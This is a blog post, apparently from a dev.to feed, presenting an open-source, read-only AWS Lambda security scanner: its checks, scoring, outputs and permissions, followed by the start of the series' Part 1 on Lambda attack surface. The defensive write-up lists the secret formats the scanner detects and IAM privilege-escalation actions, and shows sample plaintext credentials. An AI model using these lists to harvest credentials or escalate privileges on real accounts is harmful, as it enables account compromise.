&lt;p&gt;&lt;a href="https://medium.com/aws-in-plain-english/serverless-doesnt-mean-secure-the-state-of-aws-lambda-security-in-2026-234161754f90" rel="noopener noreferrer"&gt;In Part 1&lt;/a&gt;, I described the gap. Lambda functions accumulate overprivileged roles, plaintext secrets, public endpoints, and deprecated runtimes, and none of it is visible until something goes wrong. Reviewing it by hand across every function and every region does not scale.&lt;/p&gt;

&lt;p&gt;So I built a tool that does it for you. It is called &lt;a href="https://github.com/TocConsulting/lambda-security-scanner" rel="noopener noreferrer"&gt;&lt;strong&gt;&lt;em&gt;lambda-security-scanner&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;. It is open source, read-only, and it runs in one command.&lt;/p&gt;

&lt;h3&gt;
  
  
  One Command
&lt;/h3&gt;

&lt;p&gt;Install it from PyPI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;lambda-security-scanner
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;lambda-security-scanner security
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx4b05si37fhtijak0f8r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx4b05si37fhtijak0f8r.png" width="800" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That runs nineteen checks across five categories against every Lambda function in the target region, scores each function from 0 to 100, maps the findings to ten compliance frameworks, and writes JSON, CSV, and an interactive HTML report. It needs Python 3.10 or higher and read-only AWS credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  What It Checks
&lt;/h3&gt;

&lt;p&gt;The nineteen checks are grouped into five categories. Each check has an identifier so you can trace any finding back to exactly what was evaluated.&lt;/p&gt;

&lt;h4&gt;
  
  
  Category A: Function configuration
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What it catches |
|-----|-------------------------|---------------------------------------------------|
| A.1 | Runtime status | Blocked, deprecated, or near end-of-life runtimes |
| A.2 | Maximum timeout | Functions configured with the 900-second maximum |
| A.3 | Environment secrets | Plaintext credentials in environment variables |
| A.4 | Large ephemeral storage | Ephemeral storage above the 512 MB default |
| A.5 | External layers | Lambda layers owned by other AWS accounts |
| A.6 | X-Ray tracing | Active tracing not enabled |
| A.7 | Dead letter queue | No DLQ configured |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Category B: Access control
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What it catches |
|-----|-------------------------------|----------------------------------------------------------|
| B.1 | Resource policy public access | Wildcard principal or unscoped service invocation |
| B.2 | Function URL authentication | Function URL with &lt;span class="sb"&gt;`AuthType: NONE`&lt;/span&gt; |
| B.3 | Function URL CORS | CORS &lt;span class="sb"&gt;`AllowOrigins`&lt;/span&gt; containing &lt;span class="sb"&gt;`*`&lt;/span&gt; |
| B.4 | Execution role overprivilege | Admin access, service wildcards, or privilege escalation |
| B.5 | Shared execution role | One IAM role reused across multiple functions |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Category C: Network security
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What it catches |
|-----|-----------------------|-----------------------------------------------|
| C.1 | VPC configuration | Function not attached to a VPC |
| C.2 | Multi-AZ deployment | VPC function in a single Availability Zone |
| C.3 | Security group egress | Unrestricted outbound (&lt;span class="sb"&gt;`0.0.0.0/0`&lt;/span&gt; or &lt;span class="sb"&gt;`::/0`&lt;/span&gt;) |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Category D: Logging and monitoring
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What it catches |
|-----|----------------------|------------------------------------------|
| D.1 | CloudWatch log group | Log group missing or no retention policy |
| D.2 | Reserved concurrency | No reserved concurrency configured |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Category E: Code and supply chain
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| ID | Check | What it catches |
|-----|-------------------------------|------------------------------------------------------------------|
| E.1 | Code signing | No code signing config, or policy set to Warn instead of Enforce |
| E.2 | Event source mapping failures | An event source mapping without an OnFailure destination |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two of these checks deserve a closer look, because they catch the issues that cause real breaches.&lt;/p&gt;

&lt;h3&gt;
  
  
  Secret Detection That Knows the Difference
&lt;/h3&gt;

&lt;p&gt;Check A.3 is the one I am most careful about, because a naive secret scanner is worse than none. It floods you with false positives, you start ignoring it, and then it misses the one that matters.&lt;/p&gt;

&lt;p&gt;The scanner works in two layers. First it looks at variable names against ten patterns that signal a secret: &lt;code&gt;**_password_**&lt;/code&gt;, &lt;code&gt;**_secret_**&lt;/code&gt;, &lt;code&gt;**_api\_key_**&lt;/code&gt;, &lt;code&gt;**_auth\_token_**&lt;/code&gt;, &lt;code&gt;**_access\_key_**&lt;/code&gt;, &lt;code&gt;**_private\_key_**&lt;/code&gt;, &lt;code&gt;**_database\_url_**&lt;/code&gt;, &lt;code&gt;**_connection\_string_**&lt;/code&gt;, &lt;code&gt;**_credentials_**&lt;/code&gt;, and &lt;code&gt;**_token_**&lt;/code&gt;. Then it looks at variable values against sixteen credential formats, including AWS access keys (&lt;code&gt;**_AKIA_**&lt;/code&gt; and &lt;code&gt;**ASIA**&lt;/code&gt;), GitHub personal access tokens (both &lt;code&gt;**_ghp\ __**&lt;/code&gt; and the newer &lt;code&gt;**_github\_pat\__ **&lt;/code&gt; format), GitLab tokens, Stripe live and restricted keys, Slack bot and app tokens, PEM private key headers, database connection strings with embedded credentials, Anthropic keys, OpenAI standard, project, and service-account keys, SendGrid keys, and NPM tokens.&lt;/p&gt;

&lt;p&gt;The important part is what it does not flag. If a variable named &lt;code&gt;**DB\_PASSWORD**&lt;/code&gt; holds a Secrets Manager ARN, an SSM parameter ARN, a KMS ARN, an SSM parameter path like &lt;code&gt;**_/app/db/password_**&lt;/code&gt;, or a CloudFormation &lt;code&gt;**_{{resolve:…}}_**&lt;/code&gt; dynamic reference, that is the AWS-recommended pattern. The scanner treats it as clean, not as a leaked secret. Trivial values such as booleans, ports, and environment names are ignored as well. The goal is to flag real plaintext credentials and stay quiet about correct configuration.&lt;/p&gt;

&lt;p&gt;When a function does hold a plaintext secret, the severity depends on whether the function’s environment variables are encrypted with a customer-managed KMS key. Without KMS, it is critical. With KMS, it is high, because the key adds a layer of access control but the secret still does not belong there.&lt;/p&gt;

&lt;h3&gt;
  
  
  Execution Roles, Examined in Depth
&lt;/h3&gt;

&lt;p&gt;Check B.4 is the other one that matters most. It does not just look at the policies attached to a role by name. It reads every managed and inline policy on the execution role and evaluates what they actually grant.&lt;/p&gt;

&lt;p&gt;It flags three distinct conditions, in order of severity. The most severe is admin-equivalent access: the &lt;code&gt;**_AdministratorAccess_**&lt;/code&gt;, &lt;code&gt;**_PowerUserAccess_**&lt;/code&gt;, or &lt;code&gt;**_IAMFullAccess_**&lt;/code&gt; managed policies, or an inline statement that allows &lt;code&gt;**_\*_**&lt;/code&gt; on &lt;code&gt;**_\*_**&lt;/code&gt;. Next is a service-level wildcard, such as &lt;code&gt;**_s3:\*_**&lt;/code&gt; or &lt;code&gt;**_dynamodb:\*_**&lt;/code&gt;, which grants every action in a service. Last is privilege escalation: seventeen specific IAM and Lambda actions that let a role grant itself more power than it started with. These include &lt;code&gt;**_iam:CreatePolicyVersion_**&lt;/code&gt;, &lt;code&gt;**_iam:AttachRolePolicy_**&lt;/code&gt;, &lt;code&gt;**_iam:PassRole_**&lt;/code&gt;, &lt;code&gt;**_iam:CreateAccessKey_**&lt;/code&gt;, &lt;code&gt;**_lambda:UpdateFunctionCode_**&lt;/code&gt;, and others from the well-documented IAM privilege escalation set. A role without literal admin can still reach admin through any one of them, and the scanner treats that as a high-severity finding rather than letting it hide.&lt;/p&gt;

&lt;h3&gt;
  
  
  Composite Findings
&lt;/h3&gt;

&lt;p&gt;Some risks only exist as combinations. The scanner detects those explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Finding | Trigger | Why it matters |
|-------------------------------|--------------------------------------------------------------------------------|---------------------------------------------------------------------------------------|
| Public with no concurrency | A public resource policy or function URL combined with no reserved concurrency | Anyone can invoke the function without limit, turning exposure into uncontrolled cost |
| Public URL with wildcard CORS | A public function URL combined with a wildcard CORS policy | Unauthenticated, cross-origin callable, and reachable from any website |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How Scoring Works
&lt;/h3&gt;

&lt;p&gt;Every function starts at 100 points. Each finding subtracts a fixed deduction. The size of the deduction reflects how directly the issue leads to compromise.&lt;/p&gt;

&lt;p&gt;The most severe findings are the ones that expose the function or its credentials:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Public resource policy: minus 25
&lt;/li&gt;
&lt;li&gt;Public function URL with no authentication: minus 25
&lt;/li&gt;
&lt;li&gt;Plaintext secrets without KMS encryption: minus 20
&lt;/li&gt;
&lt;li&gt;Admin-equivalent execution role: minus 20
&lt;/li&gt;
&lt;li&gt;Blocked runtime: minus 15&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;High-severity findings cost ten points each: a deprecated runtime, a wildcard CORS policy, a service-level wildcard in the execution role, privilege escalation permissions, a shared execution role, and plaintext secrets that are at least KMS-encrypted.&lt;/p&gt;

&lt;p&gt;Medium-severity findings cost five points each: a single-AZ VPC deployment, unrestricted security group egress, a missing or unretained log group, an event source mapping with no failure destination, and no code signing configuration.&lt;/p&gt;

&lt;p&gt;Low-severity findings cost two or three points each: external layers, a function with no VPC, a near end-of-life runtime, a code signing policy set to Warn instead of Enforce, the maximum timeout, large ephemeral storage, disabled X-Ray tracing, no dead letter queue, and no reserved concurrency.&lt;/p&gt;

&lt;p&gt;The final score is &lt;code&gt;**_max(0, 100 — total deductions)_**&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;90 to 100 Excellent Maintain current posture
70 to 89 Good Address minor gaps
50 to 69 Needs improvement Fix the significant risks
0 to 49 Poor Immediate action required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A few checks have overlapping variants, and the scanner never double-counts them. Runtime status applies only the highest of blocked, deprecated, or near-EOL. The secret check applies only one of its two KMS variants. Code signing applies only one of no-config or Warn-policy. Within each of these groups, only the single highest deduction is taken.&lt;/p&gt;

&lt;h3&gt;
  
  
  How It Runs
&lt;/h3&gt;

&lt;p&gt;The scanner analyzes functions in parallel with a thread pool, five workers by default, adjustable with a flag for accounts with many functions or tighter API rate limits. Each worker gets its own thread-local boto3 session, so there is no shared mutable client state across threads.&lt;/p&gt;

&lt;p&gt;The work is split into five checker modules, one per category: function configuration, access control, network security, logging and monitoring, and code and supply chain. Checks that depend on other checks are handled in order. CORS is only evaluated when a function URL exists, and the multi-AZ and egress checks only run when the function is actually attached to a VPC. If a function is not in a VPC, the network checks that do not apply are skipped rather than penalized.&lt;/p&gt;

&lt;p&gt;One design choice matters for trust: an &lt;code&gt;**_AccessDenied_**&lt;/code&gt; error on a single function does not crash the scan and does not silently pass the function. The error is surfaced as a finding. A scan that could not read something tells you so, instead of reporting a clean result it did not actually verify.&lt;/p&gt;

&lt;h3&gt;
  
  
  What You Get Back
&lt;/h3&gt;

&lt;p&gt;The scanner writes four artifacts to the output directory:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A JSON report with a summary block (scan time, region, account ID, function count, average score) and a per-function results array. This is the one to feed into a SIEM or archive in S3.
&lt;/li&gt;
&lt;li&gt;A CSV report with one row per function and its compliance status, for spreadsheets and quick filtering.
&lt;/li&gt;
&lt;li&gt;An interactive HTML dashboard with score distribution, a compliance overview across all ten frameworks, a severity breakdown, a sortable function table, and a critical findings list. This is the one to show to people who do not live in a terminal.
&lt;/li&gt;
&lt;li&gt;A per-function compliance report in JSON, generated on every run regardless of the chosen output format.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Options You Will Actually Use
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;lambda-security-scanner security [OPTIONS]

| Option | Default | Purpose |
|-----------------------|-------------|-----------------------------------------------|
| &lt;span class="sb"&gt;`-n, --function-name`&lt;/span&gt; | all | Scan only the named function or functions |
| &lt;span class="sb"&gt;`--exclude-function`&lt;/span&gt; | none | Skip the named function or functions |
| &lt;span class="sb"&gt;`-r, --region`&lt;/span&gt; | &lt;span class="sb"&gt;`us-east-1`&lt;/span&gt; | Target AWS region |
| &lt;span class="sb"&gt;`-p, --profile`&lt;/span&gt; | none | AWS CLI profile to use |
| &lt;span class="sb"&gt;`-o, --output-dir`&lt;/span&gt; | &lt;span class="sb"&gt;`./output`&lt;/span&gt; | Where reports are written |
| &lt;span class="sb"&gt;`-f, --output-format`&lt;/span&gt; | &lt;span class="sb"&gt;`all`&lt;/span&gt; | &lt;span class="sb"&gt;`json`&lt;/span&gt;, &lt;span class="sb"&gt;`csv`&lt;/span&gt;, &lt;span class="sb"&gt;`html`&lt;/span&gt;, or &lt;span class="sb"&gt;`all`&lt;/span&gt; |
| &lt;span class="sb"&gt;`-w, --max-workers`&lt;/span&gt; | &lt;span class="sb"&gt;`5`&lt;/span&gt; | Number of parallel worker threads |
| &lt;span class="sb"&gt;`--compliance-only`&lt;/span&gt; | off | Produce only the compliance report |
| &lt;span class="sb"&gt;`-q, --quiet`&lt;/span&gt; | off | Suppress console output except errors, for CI |
| &lt;span class="sb"&gt;`-d, --debug`&lt;/span&gt; | off | Verbose logging |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6hzmy7pzmgo0tigamgpu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6hzmy7pzmgo0tigamgpu.png" width="800" height="374"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A few combinations come up constantly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Scan two specific functions in another region&lt;/span&gt;
lambda-security-scanner security &lt;span class="nt"&gt;-n&lt;/span&gt; my-api &lt;span class="nt"&gt;-n&lt;/span&gt; my-worker &lt;span class="nt"&gt;-r&lt;/span&gt; eu-west-1

&lt;span class="c"&gt;# Quiet JSON output for a CI pipeline&lt;/span&gt;
lambda-security-scanner security &lt;span class="nt"&gt;-f&lt;/span&gt; json &lt;span class="nt"&gt;-q&lt;/span&gt;

&lt;span class="c"&gt;# Compliance posture only, against a named profile&lt;/span&gt;
lambda-security-scanner security &lt;span class="nt"&gt;--compliance-only&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; production
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  It Is Strictly Read-Only
&lt;/h3&gt;

&lt;p&gt;The scanner cannot change anything in your account. It calls only &lt;code&gt;**_List_**&lt;/code&gt;, &lt;code&gt;**_Get_**&lt;/code&gt;, and &lt;code&gt;**_Describe_**&lt;/code&gt; style operations. &lt;strong&gt;&lt;em&gt;It cannot modify functions, cannot invoke them, cannot read your function code, and cannot decrypt your secrets&lt;/em&gt;&lt;/strong&gt;. The full permission set is read-only across Lambda, IAM, EC2, and CloudWatch Logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Statement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"lambda:ListFunctions"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"lambda:GetFunctionConfiguration"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"lambda:GetPolicy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"lambda:GetFunctionUrlConfig"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"lambda:GetFunctionCodeSigningConfig"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"lambda:GetCodeSigningConfig"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"lambda:GetFunctionConcurrency"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"lambda:ListEventSourceMappings"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListAttachedRolePolicies"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetPolicy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetPolicyVersion"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"iam:ListRolePolicies"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"iam:GetRolePolicy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"ec2:DescribeSubnets"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"ec2:DescribeSecurityGroups"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"logs:DescribeLogGroups"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"sts:GetCallerIdentity"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no &lt;code&gt;**_lambda:\*_**&lt;/code&gt; and no write action anywhere in that policy. You can hand it to the scanner and know it cannot touch production.&lt;/p&gt;

&lt;h3&gt;
  
  
  Running It in Docker
&lt;/h3&gt;

&lt;p&gt;If you would rather not install Python locally, the scanner ships as a multi-architecture image for &lt;strong&gt;&lt;em&gt;amd64&lt;/em&gt;&lt;/strong&gt; and  &lt;strong&gt;&lt;em&gt;arm64&lt;/em&gt;&lt;/strong&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; ~/.aws:/root/.aws:ro &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;pwd&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;/output:/app/output &lt;span class="se"&gt;\&lt;/span&gt;
  tarekcheikh/lambda-security-scanner:latest &lt;span class="se"&gt;\&lt;/span&gt;
  security &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mount your AWS credentials read-only, mount a local directory for the reports, and the container does the rest. Credentials can also be passed as environment variables for assumed-role and CI scenarios.&lt;/p&gt;

&lt;h3&gt;
  
  
  What’s Next
&lt;/h3&gt;

&lt;p&gt;You now have a number for every function and a list of exactly what is wrong with each one. In Part 3, we turn those findings into two things auditors and engineers both need: a mapping from each finding to the compliance controls it satisfies or violates across ten frameworks, and the precise AWS CLI commands that fix every one of the nineteen checks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Support the Project
&lt;/h3&gt;

&lt;p&gt;The scanner is open source and built for the community. If it caught something real in your account, here is how to pay it forward:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Star it on GitHub&lt;/strong&gt; so more engineers can find it: &lt;a href="https://github.com/TocConsulting/lambda-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/lambda-security-scanner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Open a pull request&lt;/strong&gt; if you fix a bug or tighten a check.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Propose a new check or framework&lt;/strong&gt; by opening an issue. Real-world gaps make the best feature requests.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Share it&lt;/strong&gt; with your team and your network. Visibility is what keeps an open-source security tool alive.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The project is open source under the MIT license:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source: &lt;a href="https://github.com/TocConsulting/lambda-security-scanner" rel="noopener noreferrer"&gt;https://github.com/TocConsulting/lambda-security-scanner&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Package: &lt;a href="https://pypi.org/project/lambda-security-scanner/" rel="noopener noreferrer"&gt;https://pypi.org/project/lambda-security-scanner/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>awslambda</category>
      <category>informationsecurity</category>
      <category>cloudsecurity</category>
      <category>aws</category>
    </item>
    <item>
      <title>Serverless Doesn’t Mean Secure: The State of AWS Lambda Security in 2026</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Fri, 05 Jun 2026 23:14:43 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/serverless-doesnt-mean-secure-the-state-of-aws-lambda-security-in-2026-52l5</link>
      <guid>https://dev.to/tarekcheikh/serverless-doesnt-mean-secure-the-state-of-aws-lambda-security-in-2026-52l5</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;Part 1 of 4 in the Lambda Security Series&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fahziaswgj10scqzziw85.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fahziaswgj10scqzziw85.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;“ &lt;strong&gt;&lt;em&gt;It’s serverless. There’s no server to hack.&lt;/em&gt;&lt;/strong&gt; ”&lt;/p&gt;

&lt;p&gt;I hear this in almost every architecture review. It is one of the most expensive misconceptions in cloud security.&lt;/p&gt;

&lt;p&gt;AWS does run the servers. AWS patches the host operating system, isolates the execution environment, and keeps the control plane healthy. That part is real, and it is genuinely better than managing your own fleet. But everything that actually gets your account breached still belongs to you: the code, the IAM permissions attached to the function, the environment variables, the network configuration, and the events that trigger the function. &lt;strong&gt;None of that is AWS’s job. All of it is yours&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is the part of the shared responsibility model that teams skip when they move to Lambda. They assume “managed” means “secure.” It does not. It means the attack surface moved, and most of it moved closer to your code.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where the Attack Surface Actually Lives
&lt;/h3&gt;

&lt;p&gt;A Lambda function is a small unit of compute with an IAM role bolted to it, a set of environment variables, optional network access, and one or more triggers. Each of those is a place where things go wrong.&lt;/p&gt;

&lt;h4&gt;
  
  
  Overprivileged execution roles
&lt;/h4&gt;

&lt;p&gt;Every Lambda function assumes an IAM role when it runs. That role is the function’s identity inside your account. Whatever the role can do, the function can do, and whatever the function can do, an attacker who finds a flaw in your function code can do.&lt;/p&gt;

&lt;p&gt;The failure mode is always the same. A function needs to read from one S3 bucket. Writing a scoped policy takes ten minutes, so someone attaches &lt;code&gt;**_AdministratorAccess_**&lt;/code&gt; instead and moves on. Now a single injection bug, a vulnerable dependency, or a server-side request forgery in that function is no longer a function-level problem. It is an account-level compromise. This is the same blast-radius mistake that turned a single misconfigured component into the Capital One breach, and serverless does nothing to prevent it. If anything, it makes the mistake easier to ship, because the role is invisible in the function’s day-to-day behavior.&lt;/p&gt;

&lt;p&gt;Least privilege is not a nice-to-have in serverless. &lt;strong&gt;&lt;em&gt;The execution role is the primary security control&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Secrets in environment variables
&lt;/h4&gt;

&lt;p&gt;Environment variables feel like a natural place to put configuration, so people put secrets there too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;DB_PASSWORD&lt;/span&gt;=&lt;span class="n"&gt;MyPr0ductionP&lt;/span&gt;@&lt;span class="n"&gt;ss&lt;/span&gt;!
&lt;span class="n"&gt;STRIPE_SECRET&lt;/span&gt;=&lt;span class="n"&gt;sk_live_26PHem9AhJZvU623DfE1x4sd&lt;/span&gt;
&lt;span class="n"&gt;GITHUB_TOKEN&lt;/span&gt;=&lt;span class="n"&gt;ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



